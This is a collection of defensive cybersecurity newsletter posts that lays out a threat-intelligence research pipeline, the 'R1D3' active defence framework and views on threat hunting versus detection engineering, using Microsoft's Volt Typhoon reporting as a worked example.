4. 🗺️ Know Your Data: Explore your own telemetry data to understand its structure, volume, and completeness. This step ensures you can effectively leverage your data for analysis.

5. 🔎 Hunt for atomic traces: scan your telemetry for the presence of known malicious indicators. Investigate any matches thoroughly.

6. 🎭 Uncover Anomalies: Analyze your data for unusual patterns and behaviours that deviate from established baselines. This requires a solid understanding of normal activity and attacker TTPs.

7. 🕸️ Map your attack surface: survey your operational environment and control landscape, identifying weaknesses, gaps and the "as-is" state that pretty diagrams don't show.

8. 👣 Emulate Attacks: Conduct penetration testing or utilize attack simulation tools to identify likely attack paths and test your defences in a real-world scenario.

9. 🔮 Predict and Prevent: Integrate all the knowledge gained to develop predictive models capable of anticipating future attacks. This is the ultimate goal of intel-driven data analysis.

References

Nothing I said here is truly magnificent and new, I stand on the shoulders of giants and have simply integrated information from research and models that already exist out there. These are some of my references:

• David Bianco's recognized Pyramid of Pain

• Red Hat's Developing Priority Intelligence Requirements v1.1

• PASTA Threat Modelling and What is PASTA?

• DREAD Threat Modelling

• Diamond Model of Intrusion Analysis and Applying the Diamond Model for Threat Intelligence to the Star Wars Battle of Yavin

• Purple Teaming at GitLab

• Purple Team Exercise Framework (PTEF)

• Know Your Adversary: An Adversary Model for Mastering Cyber-Defense Strategies

• Threat Modeling Manifesto

• Level Up Your Cybersecurity Operations With Threat-Informed Defense

• Wiki Page for Data Analysis

• Cyber Kill Chain by Lockheed Martin

• Unified Cyber Kill Chain a university paper created by Paul Pols, the model describes all phases in typical cyber attacks, from the attacker’s first steps to the achievement of adversarial objectives, bringing together a number of kill chains by various industry contributors.

• MITRE ATT&CK (can't leave this one out of course lol)

Disclaimer

The views and opinions expressed in this newsletter are solely my own and do not reflect those of my employer. Information shared here is only meant for general educational purposes and does not constitute real professional advice of any kind.

Today, let me start with a bit of confession time: my quest to build an "Active Defense" framework has led me down a rabbit hole of epic proportions even the wisest tech oracles wouldn't have predicted 🐇🕳️🔮.

A simple pondering of questions about the shortsighted views around Detection Engineering vs Threat Hunting motivated me to outline something called the R1D3 Framework (Research -> Discovery -> Disruption -> Development) which in reality is an evolution of the ideas discussed in The Threat Hunting Shift series. Ideas that somehow materialized in AIMOD2 but were not yet quite articulated.

“Where the heck is your Framework man?” This is a valid question you may ask. To that I would answer: you are witnessing it as it unfolds. You are looking at it with all the chaotic ideas colliding to create new connections, with all the imperfections... ✨💥

This is a journey, folks. A journey to find the hidden signal in the noise, the actionable insights buried within the chaos. There is something here I cannot yet fully understand but has a lot of potential, I'm exploring it and applying this practically as I go 🗺️. One day, there will be a book about this and you will say “Oh! I know that bloke, he used to write weird sh*† about active defence”.

In Part 1 of our R1D3 Threat Driven Research Pipeline, we dove headfirst into the messy world of practical threat intel research. We laid out the foundations of what a Research pipeline looks like to deliver some meaningful and actionable content to the rest of the RIDE streams⚙️. The diagram?

By now you know that the Research phase of RIDE does not focus so much on how and where your information is sourced from, but looks at extracting actionable information for operational discovery and disruption processes further down the road.

The big question swirling in my head: what does all this data really mean for my organization? 🤔 It's a battle of brains vs. machines – we need info that machine algorithms can't easily digest whilst also being easily scalable and structured. Apparently, the true enemy isn't some shadowy hacker, but how we understand threat data, how we collate all of that, process it, build semantics around it, produce data models with it and ultimately influence security control uplifts.

What am I even talking about? 🤔😁 This whole process feels delightfully experimental 🧪. Let's call it... iterative chaos. Results may surprise us all! But if you are looking for certainty and easy-to-digest stuff please don't listen to my shenanigans! I advise seeking solace in classic industry knowledge with known buzzwords and predictable plots.

Without further ado, in this article, we will expand on the Analysis phase: Entity and Relationship Extraction, Entity Linking, a Filter Question (am I able to and should I investigate further?), and how to build our knowledge graph from our knowledge gaps.

Analyse 🧪

Step 04: Entity and Relationship Extraction 🕸️

Up to this stage, our data exists very much still in an unstructured shape. We have performed some very coarse initial classification by applying metadata tags and have set some boundaries around what belongs to the same body of work and what should be considered an independent one. Work done so far constitutes our first pass over the data and has generated a metadata layer, but we have not yet extracted meaningful information from our sources.

We now need to perform a second pass over the data to develop an initial semantic layer over it and convert this data into a first information layer. The backbone that will sustain this new structure is the identification of relationships and entities that are useful for our purpose. Depending on your approach to the pipeline design, you will be implicitly or explicitly defining the first few elements of a knowledge graph, i.e. extracting nodes (aka vertices) and edges (aka relations).

Initially, our unstructured open-ended questions will drive what gets identified as an entity and what doesn't, but as our research pipeline algorithm feeds from the late modelling phase back to the analysis phase, it will begin to highlight the entities that have the richest meaning and highest descriptive power in our downstream processes. We are effectively building a self-learning knowledge graph.

As an example, let's consider this extract from Microsoft's article on Volt Typhoon:

To achieve their objective, the threat actor puts strong emphasis on stealth in this campaign, relying almost exclusively on living-off-the-land techniques and hands-on-keyboard activity. They issue commands via the command line to (1) collect data, including credentials from local and network systems, (2) put the data into an archive file to stage it for exfiltration, and then (3) use the stolen valid credentials to maintain persistence. In addition, Volt Typhoon tries to blend into normal network activity by routing traffic through compromised small office and home office (SOHO) network equipment, including routers, firewalls, and VPN hardware. They have also been observed using custom versions of open-source tools to establish a command and control (C2) channel over proxy to further stay under the radar.

We could break down this information into the following rudimentary schema, bear in mind that this step can either be performed by LLM models or by the analyst:

entities:
  - type: threat_actor
    name: Volt Typhoon 

  - type: technique
    name: living-off-the-land (LOLBins)

  - type: technique
    name: hands-on-keyboard activity 

  - type: tool
    name: command line

  - type: data
    name: credentials

  - type: data
    name: archive file

  - type: device
    category: SOHO network equipment
    examples: [routers, firewalls, VPN hardware]

  - type: software
    name: open-source tools (custom versions)

  - type: protocol
    name: proxy

relationships:
  - actor: Volt Typhoon
    action: emphasizes
    target: stealth
    purpose: evading detection and increasing chances of achieving objectives

  - actor: Volt Typhoon
    action: relies on
    target: living-off-the-land techniques
    purpose: achieve mission objectives

  - actor: Volt Typhoon
    action: relies on
    target: hands-on-keyboard activity
    purpose: achieve objectives

  - actor: Volt Typhoon
    action: issues commands
    target: data (specially credentials)
    purpose: data theft

  - actor: Volt Typhoon
    action: stages data 
    target: archive file
    purpose: preparation for exfiltration

  - actor: Volt Typhoon
    action: uses
    target: stolen credentials
    purpose: maintain persistence

  - actor: Volt Typhoon
    action: routes traffic
    target: compromised SOHO network equipment
    purpose: blend into normal network activity

  - actor: Volt Typhoon
    action: uses
    target: custom versions of open-source tools
    purpose: establish command and control (C2) channel 

On the first few iterations of our research pipeline, we may extract these simple entities and relationships like "device" or "threat actor", however as we iterate and feedback from our explicit modelling stage, we will become better at describing richer relationships and discarding irrelevant data. For example:

• we might take a shortcut into early extraction of MITRE ATT&CK TTPs with varying degrees of granularity

• in future iterations we may not find certain features relevant to our process anymore:

  • perhaps we don't care whether the threat actor acts with "stealth" since this is normally an easy assumption, who wants to be discovered before achieving mission objectives?

  • we know that the majority of threat actors will want to "stage" data for exfiltration, so perhaps we want to be more granular and identify specific procedures early on

• we may add properties like timestamps, data provenance and risk-scoring metrics to each of the entities

• we may enrich our data with prevalence scores of each entity or relationship, and even add potential impacts to an organization that naturally follow from the threat

Step 05: Entity Linking

Once we have extracted initial entities and their primitive relationships, we have to link them to pre-existing entities in our environment that constitute relevant datapoints. This will be important in deciding whether anything here deserves further attention:

• Do any of the identified technologies exist in our CMDB?

• Are the threats potentially affecting assets in the cloud or on-prem? If cloud, which cloud providers, zones, areas, resource groups?

• Are any of our crown jewels linked to or running services potentially impacted by identified threats?

• Are there current security controls that mitigate these threats? These security controls can be protective, detective, corrective, etc.

• Have we observed internal vulnerabilities that are linked to the threats or exploits identified in the information at hand?

• Have we observed incidents, alerts or notable events that can be linked to the threats we have identified?

Entity linking is the process by which extracted data is linked to existing aspects of our unique digital landscape, this allows us to create connections that are meaningful within the environment in which we operate. Not every environment is the same, not all technology stacks behave equally, not all industries are exposed to the same threats, and not all cyber security teams are equally mature, nuances matter here.

Step 06: Am I able to and should I investigate further?

Based on the knowledge we have built from our research pipeline so far, we are now in a better position to determine the relevance of the information at hand. This is the third of six filter questions we ask ourselves along the way. A process without filter questions is a recipe for wasted time and effort.

There are two key questions we must ask ourselves at this point:

1. the first thing we need to ask ourselves: is this information relevant to my operational context and does it enable me to continue my investigation? We are trying to ascertain whether the information we have developed so far indicates any threats to our running operational environment, i.e. our business context, digital infrastructure, etc.

2. the second question is very simple: should I continue investigating further? What we are trying to find out is whether we should dedicate further resources to prepare this information for actionability by downstream processes.

To determine whether we are able to investigate further is to define a set of criteria that are meaningful to our business vertical or operation. These criteria cannot be decided abstractly as they will be unique to your operational environment, but there are some commonalities we can point out:

• do the threats identified in the information relate to technologies our business operates with?

• what kinds of threats is our organization mostly concerned about? do they roughly match the ones we have identified thus far?

• what is the prevalence of the threat or threat actor in our region, industry vertical or business?

• what is the criticality of the threat in terms of ease of exploitability, zero-day or already known, existing offensive tradecraft, etc?

If we have a reasonable belief that the threats outlined so far likely apply to our digital landscape with a medium to a high degree of confidence (these thresholds are up to you to experiment with), but we don't fully understand how that threat may impact our operational environment, we have a knowledge gap that means our attack surface might be exposed to high risk. This risk and the unknown elements of our knowledge about it may justify our engagement in downstream processes. If this is the case, we will then flow into the next stage: investigate.

The biggest difference between the investigative stage and all the previous ones in our research pipeline is that we can essentially automate all the prior steps but we cannot automate the investigation. The next stage requires all the power of human analytical brains, automation can aid in extracting information for analysis, but the analysis has to be done by a threat analyst in the end.

What happens if data is not relevant or I determine no further investigation is required?

We may have reached this point and realised that the data we have is either not relevant to our operational environment or we've collected enough datapoints to decide that these threats don't pose a significant risk to our business, despite their relevance.

This might be due to a few factors, but the most important ones that can help decide our relevance score are: have we actually collected enough data and is our reconnaissance direction correct? If our recon does not need calibration, then it's a matter of collecting further data, and going through our entity extraction and linking again. If our recon direction was not correct, then we might need to decide whether we need to discard the information obtained and processed so far or simply correct our course and continue gathering.

It's important to understand that "it is much better to delay the final analysis than to provide an assessment that the analyst knows is flawed" (Intelligence-Driven Incident Response, p42)

Step 07: Investigate: Develop your Knowledge Graph from your Knowledge Gaps

Analysis, as much an art as it is a science, seeks to answer the questions that were identified in the Direction phase (Intelligence-Driven Incident Response, p41)

Up to this point, we have produced information by extracting relevant datapoints and links from available data. All the steps leading up to the investigative stage can somehow be automated or are easier to "DevOpsify" if that is even a word. Our investigative stage though can be as complex as necessary and requires the type of cross-functional, multidomain, context-aware and nuanced understanding of us humans. The principle that guides the investigative stage is simple: Develop your Knowledge Graph from your Knowledge Gaps. These gaps are like missing links, missing nodes, or unconnected dots that need to be somehow related to our existing knowledge graph. For example:

At every point of our research pipeline, you will notice the play between a more high-level eagle-view and a more detailed ground-level view. R1D3 recognizes the dynamics of high-level vs low-level, abstract vs concrete, and exploration vs exploitation patterns. By extracting entities and linking them with useful relationships to themselves and to entities in our environment, we develop a map of relevant datapoints that provide insight into what matters and what doesn't.

Our purpose is to transform data from its raw form to an actionable form. By "raw" I mean data that can either be in structured or unstructured shape, refined or un-refined, but whose existing structure so far does not allow the cyber function to drive the mechanics of risk reduction. Information is just information. What you can do with it is a whole different matter.

We now have information that is highly relevant to our active defence pipeline, but there is a lot we don't know yet:

• we may have failed to properly link our data to relevant security controls

• we may not yet fully understand whether we have observed the attack patterns identified so far within the thousands of notable events, alerts or incidents that triggered over the last 12 months

• we may actually need more granular information like the actual procedures or operations by which credentials can be dumped from a Windows 11 host, instead of less rich, higher level MITRE techniques

• perhaps we want to identify existing defensive or offensive tradecraft leveraged in the wild (open and closed source projects, Git repos, etc.) and understand how they work

• perhaps we have been asked to develop trend visualizations of the threats extracted from our research pipeline and need to collect historical data

• it might be needed to investigate current and past Pentest, Red Team or Purple Team engagements to understand what gaps have been closed, which ones still remain, and how these relate to our knowledge of extracted threats so far

• we might want to reverse-engineer malware samples or dynamically run them through a sandbox to understand how they work

Whatever your knowledge gap is, you need to delve deeper now into specific aspects of your information and develop your knowledge graph further. By knowledge graph I mean an implicit construct in your mind or an explicit graph database you populate at each step, this is up to you.

Next Steps

The information refinement that has taken place so far has been strongly surfaced by implicit models and schemas, things that live in the brains of intel or security analysts but have not been explicitly defined to sustain the test of higher OODA loops and scales. To unlock the full potential of your threat research, you need to transform this raw information into actionable models. Think of it like building a blueprint, where scattered data becomes a structured plan. In the next part of the series, we'll explore an aspect of threat research that many hunt, detection engineering, incident response and SOC teams usually ignore and don't think about much.

Until then, I wish you all a great week, stay tuned and drop me your comments below!

In my last post I introduced the RIDE (R1D3) Framework for Active Defence. I outlined there the four basic phases of an active defence pipeline: Research, Discovery, Disruption and Development. In this article, I will describe the first phase (the R in R1D3) in detail. I've scheduled Part 1 to be released today and Part 2 is already scheduled for next week ;)✉️

I've intentionally made this post a lot shorter than my usual ones because I realise that in today's distraction economy, it's really hard to get ideas across without losing momentum. These words have to battle the noise of my reader's busy life and I really appreciate the few minutes you dedicate to my crazy rumblings. Or perhaps, I am simply learning how to write better? Dunno, time will tell! Before I continue, if you want to get in touch with me, simply reach out to diego.perez@quasarops.com. Now back to our main topic 😃

Research is the entry door into our active defence pipeline, which has huge downstream ramifications. If our initial research is inefficient, we will significantly reduce the likelihood of influencing security control uplifts in subsequent stages.

In our Research Phase, the most important question we want to answer is one about information meaning or significance: what does this cluster of data mean within the context of my organization and how does it inform actionable outcomes? What I describe abstractly as "a cluster of data", refers to any information that arrives to us in a structured or unstructured manner, though the majority of times it is unstructured: a threat report, a summary of intel provided by a trusted party, information about an attack suffered by a company in the same industry vertical, etc. The reason it is unstructured is that the majority of threat intel globally is produced for the consumption of human brains and not machines. We have already covered this topic in detail Part 1 of The Problem of Why: Threat-Informed Defence and Part 2 of The Problem of Why: The Uncertainty of Intelligence and the Entropy of Threats.

There are different semantic layers to data and information. These layers are not necessarily interoperable: what has significance for a machine learning algorithm is not computable by a human brain. This is why information about threats still exists in unstructured shape as text that can be interpreted by our human eyes and brains. It has to exist in this way too, because we make decisions in a very different way to the way machines do.

However threat information in its "human-readable" shape suffers many limitations, our implicit schemas don't scale well and perform poorly in big data contexts.

We go back to our initial question: what does this "x" or "y" data cluster mean for you? what is the significance of it? Information needs to be able to direct and influence the behaviour of the business to improve security controls that ultimately protect the revenue streams which are the very core of its existence.

The problem is not cyber threats

You may be tempted to assume that the problem of threat-informed defence is about cyber threats. But what is a "cyber threat"? Common lore tells us a cyber threat is the crossover of intent + capability + opportunity. Let's for a moment accept the current industry heuristic and consider a cyber threat as a construct that has the three variables stated above. This concept means nothing if we cannot link it to data. The problem of threat-driven cyber defence is not about threats, it is about our knowledge of this construct we call a "cyber threat": what are the discrete datapoints in which it is represented in our internal systems? STIX is an example of a framework that aims to answer that question but solely from the modelling perspective. The problem of cyber threats is about data semantics and our model's descriptive power: our ability to map feature-rich data from the complex domain of world events to the domain of cyber defence operations.

This data semantics problem can be summarized in the five dimensions of information significance. There is a great paper that is the result of a thorough literature review about the topic: Threat Intelligence Quality Dimensions for Research and Practice. The authors examine the dimensions of data provenance, relevance, interoperability, reliability, actionability and timeliness. Information significance is, in other words, the process of meaning extraction from feature-rich data of high dimensionality. How to design a data pipeline that is efficient at extracting meaning from your threat intelligence data?

Enter the Active Defence Research Data Pipeline 🕵️‍♀️

I truly need diagrams to better express the mental models I'm thinking about so here's the diagram that represents what we are going to talk about today:

A brief note about our design principles:

• The whole pipeline workflow is built to resemble the concept of a self-learning knowledge graph.

• My journeys into machine learning on the one side, and investigation methodologies on the other, have made me realise that both worlds share many commonalities.

• The research phase of R1D3 relies heavily on the concept of modelling our information into practical and usable schemas. I'm not talking here about threat modelling frameworks like STRIDE, PASTA, DREAD, etc. I'm referring to data schemas that help extract meaningful intrinsic relationships and workflows that help map the fields and properties in our schema to relevant security operations activities like threat hunting, detection engineering, adversary emulation, etc.

• Automation and DevOps readiness are other guiding principles for this model. Please consider that many steps in the pipeline are automatable to a degree. However, not everything is nor should be automated.

• Organic-brain computing by us humans is still very much required for the difficult work of integrating the depth of contextual layers of your business' ever-evolving environment: "It is important to note that all intelligence analysis is generated by a human" (Intelligence-Driven Incident Response, p42)

Diving into the Components of R1D3 Research Pipeline 🌊

We will approach this following an example, and building a schema as we go along. We will utilize Microsoft's report on Volt Typhoon as an example.

Collect 🔍

Step 01: Reconnaissance 🧭

The Cyber Kill Chain model has indoctrinated us into believing that reconnaissance is an activity that merely relates to offensive security. However, at its core, it is really all about building a more comprehensive situational awareness. The recon phase loosely aligns with the stage of "planning and direction" in the classic threat intelligence lifecycle. You will ideally leverage internal or external threat intelligence teams to provide the information that you need. There should be an initial set of questions here that will act as rough direction requirements.

Step 02: Gather 🧲

Our gathering stage is what loosely aligns with the "collection" phase of the classic threat intelligence lifecycle. Our objective is to obtain telemetry, observables or more refined products like threat reports. Gathered data has to be stored somewhere for later processing and review

Step 03: Classify 🏷️

As information arrives in our research pipeline, we need to apply some initial labelling of it based on coarse primitive categories that can be adjusted later on. This activity will constitute our first metadata layer. Our primitive categories create initial boundaries that help segregate distinct data and group similar data. It is our initial attempt at classification. There are three important actions happening here:

1. define some coarse initial labels for your data like whether the information was obtained from external or internal sources, whether it is in a structured or unstructured format, whether it was self-sourced by the team or some other team provided it, what date was received on, etc. These initial tags need to be meaningful in the context of your operating environment

2. after initial coarse classification apply some boundary logic that decides what is part of the same or different information, i.e. if you received multiple threat reports at different points of a week about the same topic, should they be considered part of the same body of work for downstream processing purposes? At a quick glance, what are the chunks of information that contain the most valuable aspects for consideration, i.e. where should we focus our attention in the next step?

3. if we have received multiple reports from different sources that are exactly the same, attempt to deduplicate or discard duplicates

Applied to our Volt Typhoon example, using some sample data from the report, we could imagine our schema so far looking like this:

# Metadata for Initial Threat Intel Classification

source:
  type:  # Internal, External
  example:  # Threat intelligence vendor report, OSINT research

structure:
  type:  # Structured, Semi-structured, Unstructured
  example:  # Structured threat feed, CSV file,  Natural language text

origin:
  type:  # Self-Sourced, Third-Party
  example:  # Produced by your own team,  Received  from partner

timestamp:
  type: Date/Time  # Use a consistent format (ISO 8601 preferred)
  example: 2024-04-19 10:35:00-07:00 

focus_areas: 
  type:  # List of free-form text tags
  example: 
    - stealth
    - living-off-the-land
    - credential theft
    - network devices

report_hash: 
  type:  # A standard hash algorithm (MD5, SHA1, etc.) used to hash sections of the report which can later be used to deduplicate or find similarities among diverse reports
  example: 8d7dd54b6b28d95f2504b46c015b5846 

Next Steps

In the next article, we will continue exploring the "R" of R1D3 framework and will expand on the Analysis phase, touching on Entity and Relationship Extraction, Entity Linking, Investigation and the tip of the iceberg around Model prototyping. The key point we will address will be this weird motto I came up with: Develop your Knowledge Graph from your Knowledge Gaps

Originally, everything was squashed into a single article but it ended up being like 6000 words long and you wouldn't stay with me that long even if I paid you!

Have a great week and please drop your comments in the section at the bottom of the page, and let me know if you would like more or less like this 😃

Hello my fellow cyberscouts, I have plenty of news to share with you and I need your help today!

Warning: there are some words in this email… yeah, that’s the warning.

• I am changing domains soon, going back to an oldie of mine: quasarops.com. So if you receive the next Tales of a Cyberscout newsletter from quasarops.com, rest assured that it is none other than your humble servant here doing it with full intention.

• Why do I write? As Henrik Karlsson would put it, writing for me is a very long and complex search query to find fascinating people and create new connections that didn't exist before. That's what this is about.

• On the above, I suck at promoting my research and selling myself out there, I don't follow SEO best guidelines, I don't "post" regularly, I don't do Instagram, Tik-Tok, etc. If I don't have something meaningful to say, why say anything at all? Above all, I value my time for deep connection with the people that give meaning to my life. My writing is a way to share meaning with you on the other side.

• Do you want to write with me in the Tales of a Cyberscout? Get in touch! I get bored of just reading my own words. We need a multiplicity of voices to increase discoverability of great ideas.

A lovely couple of weeks?

It's been around two weeks since a curious PostgreSQL developer from Microsoft saved OpenSSH around the planet from being backdoored by APT-level malware. Thousands of incident responders are probably thanking him.

How on earth were we saved from this one? You need to thank two things: curiosity and antifragile systems. We tend to underestimate the value of curiosity, and we tend to overestimate the value of calculative rationality with predictable risk management results. What happens when you cannot reliably mitigate social engineering threats? You cannot tell C-Suite execs out there to "embrace randomness". Well, what do you think you are doing when you talk about "unknown unknowns"? You cannot systematize, formalize, and program randomness. By its own definition an "unknown unknown" is something you absolutely without a shadow of a doubt cannot predict and risk manage. Perhaps we need to revisit this commonplace vocabulary we use to describe things in the cyber world. I've written about this extensively in the past.

There remains a thread that leads to an interesting pattern though: to fight back in our current perilous times is to remain deeply curious about the transient states of the world, just like Andreas was, doing benchmarking work and getting curious about the slightly higher-than-normal CPU usage of sshd. Yeah, that is it guys.

I have words a plenty to share about the XZ Utils backdoor but there are some more pressing matters. This email is to let you know that I haven't forgotten about you on the other side of this envelope for thoughts mounted on top of an SMTP protocol bike.

Next week I plan to release the first part of the Research concepts of R1D3 framework, something I've briefly mentioned in my last long post.

Until then, stay tuned and have a great week!

I see a lot of people trying to make sense of the roles they occupy in the cyber defence world. Asking yourself these questions is a good thing to do, primarily because the world's needs advance at a faster pace than our structures can adapt to it. Let's call this phenomenon structural lag ⌛.

One of the many ways in which structural lag manifests is through our persistent use of old lenses to understand new problems, like the complex challenges of security operations nowadays. These lenses were perhaps useful back in the day, but no longer serve to illuminate the way forward. In some cases, these lenses may not fully capture the complexities of an issue, potentially obscuring key aspects of the wider problem space. One such structural lag is the false Threat Hunting vs Detection Engineering dichotomy.

This saga has a lot of history, mainly fueled by the rise of both functions due to the increasingly complex threat landscape, real needs, and a sprinkle of industry hype. There are good points made in many of the articles here and glimpses of knowledge that start pointing in the right direction, offering a more data-centric approach that is more conducive to our new reality. Some articles I've read over the years:

• 02 September 2021, 4 Differences Between Threat Hunting vs. Threat Detection, Watchguard

• 26 October 2021, Threat Hunting vs Threat Detection, ChannelProNetwork

• 01 December 2021, Threat Hunting vs Detection Engineering: what's the difference, MSSPAlert

• 21 February 2023, Threat Hunting vs. Threat Detecting: Two Approaches to Finding & Mitigating Threats, Splunk

• 26 February 2023, The dotted lines between Threat Hunting and Detection Engineering, Alex Teixeira

• 17 May 2023, Detection Engineering vs Threat Hunting, Danny's Newsletter

• 19 May 2023, Guarding the Gates: The Intricacies of Detection Engineering and Threat Hunting, CyborgSecurity

• 08 June 2023, Detection Engineering vs Threat Hunting: Distinguishing the Differences, CyborgSecurity

• 01 November 2023, Navigating the crossroads of Threat Hunting & Detection Engineering, Alex Teixeira

The issue with this contraposition is that it brings the focus to a problem that doesn't help advance the state of the art in cyber defence. Here's what we are missing:

• Forget the "hunt vs. detection vs. intel vs. whatever" paradigm 🚫. Security processes are inherently intertwined. Ask yourself what problem are you trying to solve, what is your actual goal here? I say we are here to pursue higher systemic robustness where functions are operational "stages" that contribute to a bigger picture.

• A role doesn't exist in an essentialist manner, it is merely a construct 🚧. Roles like "hunter" or "detection engineer" do not predate the activities your SecOps space performs. A "role" is merely a way to define your focus areas. These areas form clusters of activities that become your standard priorities.

• Oftentimes there is no clear-cut division between roles in security operations ➗. Where does the work of a traditional L3 Security Analyst and an Incident Responder start and end? When is a Detection Engineer behaving as a DevSecOps Engineer and when as a Purple Adversarial Engineer? Is a Responder also a forensic analyst and incident manager?

• When you start with "roles" as your unit of comparison, you miss something important 🤹‍♂️: it's all about the interconnectedness of activities within a broader ecosystem, there are overlaps, and these constitute pivotal articulation points between functions, which is a good thing.

• It is not merely about roles and functions, it is about understanding what the actual problem space is 🔭. What question are you trying to answer?

• The problem space is clear: threat-driven or threat-informed defence 🚀.

• Threat-driven cyber defence is another way of saying Active Defence.

• Stop thinking roles, start thinking data, Active Defence is about crafting a threat-driven data pipeline that can deploy advanced countermeasures.

Why do we care so much what a "threat hunter" vs a "detection engineer" vs a "security analyst" vs an "incident responder" does? Is a threat hunter or incident responder just a glorified security analyst? Is a detection engineer just a glorified DevSecOps engineer or a supercharged security analyst with backend SIEM knowledge? Is a red teamer just a glorified pentester?

By talking in these terms, we are already missing the point! We have to take a step back and understand that role boundaries should be a byproduct of properly planned functional boundaries. Role boundaries should emerge as part of an orchestrated approach towards threat management with a serious focus on understanding threats.

The collection, processing and deployment of security controls deriving from your approach towards threat management is what dictates the functions that you need to succeed. These functions are meant to address classes of problems and become phases in the flow of your security operations.

💡

Think of security as a data pipeline, not separate roles. Data is collected, enriched with context, analyzed for threats, and it triggers actions based on intelligence gleaned from all stages.

Instead of fixed roles like hunting, detection, and intelligence, imagine a security pipeline where data flows seamlessly between stages with functions like acquisition, enrichment, analysis, and implementation.

Behind all this is the concept of a threat-driven cyber defence pipeline. This pipeline is a complex engineering effort consisting of phases that help understand and deploy better security controls. Ultimately, this threat-driven pipeline aims to protect the business from the risks posed by cyber threats to the many value-generating streams that justify our existence. Unless you are a cyber security company, CyberSec is an enabler of value and not a producer of value per se.

R1D3: Active Defence Pipeline

So what does this Active Defence Pipeline look like? At a very high level, it comprises four basic activities all cyber defence operations perform, knowingly or not: Research, Discovery, Disruption and Development. This is why I call it R1D3 (pronounced simply "RIDE" or if you are a Star Wars fan just say R1D3 as if you would call R2-D2 ⚛️).

Let's unpack this a little.

Research

The process by which you seek to understand the threats that may impact your business. This is achieved by actively collecting, triaging and synthesizing data about your internal and external threat landscape. The research phase is also where you assess the significance of threat events to your industry vertical and, more importantly, you model these threats in terms of discrete data points called threat maps (you know many threat map models already, MITRE ATT&CK, MITRE D3FEND, MITRE ATTACK FLOW, etc.). These threat maps adopt structured formats for sharing your research downstream.

Discover

The process by which you go beyond the analysis and start actively exploring your internal infrastructure and external perimeter to understand your exposure, readiness, control gaps and any instances of compromise. This is the phase where you project your initial research onto your real operational environment. This means your original data points will be transformed because your operational environment has its own texture and nuances that abstract research doesn't expose. Original data points will go through a process of implicit or explicit feature selection and dimensionality reduction.

Discovery involves finding something new, illuminating connections, and forming novel understandings that truly bring your research to the concrete and practical terrain that is your organization.

Disrupt

The process by which you intercept and interrupt adversarial attack patterns. Disruption is about shattering adversaries' memorized patterns, destabilising and disorienting opponents, imposing high operational costs and creating crucial windows of opportunity for you to achieve defensive mission objectives. Disruption is usually comprised of deception, detection and response, i.e. all the different ways in which you can "engage" the adversary.

Develop

The process by which you ensure findings are communicated, controls implemented (and yes, a detector artifact is just another security control, the same as a decoy or lure is) and your attack surface is ultimately transformed. Transformation here means your ability to integrate learnings into wider structures and processes informing policies and procedures.

R1D3 Data Flow

The active defence pipeline ultimately leads to a more resilient security posture and better preparedness against evolving threats. We could further develop our pipeline into its constituent parts, I will share a diagram here but will leave the expansion of the topic for the next post:

If you've been following my posts and articles over the last three years, you know I've been preaching a straightforward idea: security operations is a data problem. The reality is that Hunting and Detection Engineering are phases of a bigger threat-driven strategy that has different operational aspects. Roles are merely constructs that represent units of work within functional boundaries. They have meaning within the context of your organization and sometimes the wider industry.

However, roles and teams should NOT be the boundary lines where you start developing your strategy. If you are doing this, you are already starting on the wrong foot! Start with data, start with intel, and start with defining your operational objectives.

The Active Defence Pipeline should be the start of your SecOps strategy, based on this you can start to trace the phases of your operations, then the functions and finally the roles. By proceeding this way, roles emerge as a logical outcome of your strategy, instead of the other way around.

I will expand on this pipeline in a future article because well... even I get tired of reading my own rumblings!

The Several Misconceptions about Threat Hunting

Many of the misconceptions about threat hunting arise from looking at it with a "detection" lens. This frames the conversation under wrong assumptions. Let's explore some of these assumptions.

Hunt is underdeveloped Detection 🚧

Hunting is not "underdeveloped detection", lazy or fuzzy query logic, that's just the classic view that hasn't evolved from old times. This is applying a basic detection lens to the problem. If we consider NISTv2 Framework (Identify, Protect, Detect, Respond, Recover), Hunt doesn't simply sit under detective controls, but can actually be useful to improve Protective controls, certainly has a role to play during response and it greatly helps identify risks and threats. The reason is simple: "hunting" for threats is nothing more than implementing a structured approach to threat-driven cyber defence, which for the most part is heavily based on threat intel.

Hunt is about "finding evil" 😈

As I have written extensively for the last two years, and as captured in aimod2, hunt's findings can be of multiple types:

• visibility gaps: logging or coverage deficiencies

• security control issues: lack of or weaknesses in protective, detective or mitigative controls

• detection opportunities: potential downstream artifacts consumable by detection engineering efforts

• suspicious security events: the stuff that leads to security incidents and your SOC or IR team getting involved

• intelligence events of interest: because hunt research can lead to enriching threat knowledge and threat actor profiling within your organization

• deception opportunities: points in the attack chain that are favourable to the deployment of lures and decoys in order to build deceptive narratives to elicit and direct threat actors down controlled attack paths

All these findings constitute "risks" that need to be categorized according to your organization's risk framework.

It is extremely rare that a hunt mission will yield NONE of the findings listed above. And certainly, Hunt is not merely finding "hands-on keyboard" malicious activities.

Hunting is about having random ideas and hypotheses 🎲

Threat Hunting is not just an analyst saying "I have an idea". It is about intel and an intel-driven pipeline with meticulous research and discovery.

When I say intel I mean an operative function that doesn't limit its focus to external threat actors and information provided by third parties about what's going on "in the wild", but a function that also understands that your environment is constantly radiating information that is raw data begging to be refined into insightful intel. And I'm not simply talking about your security incidents:

• Penetration Tests

• Red Team engagements

• Crown Jewel assessments

• Security Incidents

• Insider Threat information

• Cyber Deception decoys, lures and breadcrumbs

• Failed attempts and blocked attacks on your perimeter

Threat Hunting should focus on implementing efficient research pipelines that bring insight from intel teams and extend, refine and enrich their work with operative environment knowledge.

Threat Hunting is about Blue Team "stuff" only ☄️

Who said hunting is merely the art of "crafting SIEM queries" or "finding evil and raising incidents"? Hunt is after a full-circle approach where adversarial engineering plays an important role. If you are not working with, or in the capacity of a purple team and you are not performing attack vector discovery (adversarial emulation and/or atomic testing), then you are only getting one side of the picture.

• Say you receive an external threat report that says an attacker was able to register an App in your Azure Entra ID tenant, an App that had the AppRoleAssignment.ReadWrite.All Graph permission. The threat actor was able to use it as a backdoor to assign any roles to attacker-controlled users. You don't know whether you could have been impacted by the same or similar attack chain.

• So you searched your SIEM logs and Entra ID Audit Logs and couldn't find any hits? Is that all your hunt mission is about?

• How about partnering with your Cloud Engineering Team/BU/SME to test this attack concept?

• How about running the required PowerShell tools to understand your Azure tenant and your attack surface?

• How about leveraging your pentest/purple/red team or the hunt team itself to run AzureHound and understand plausible attack paths?

I hope you see where I'm going...

Detection is Automated, Hunt is not 😕

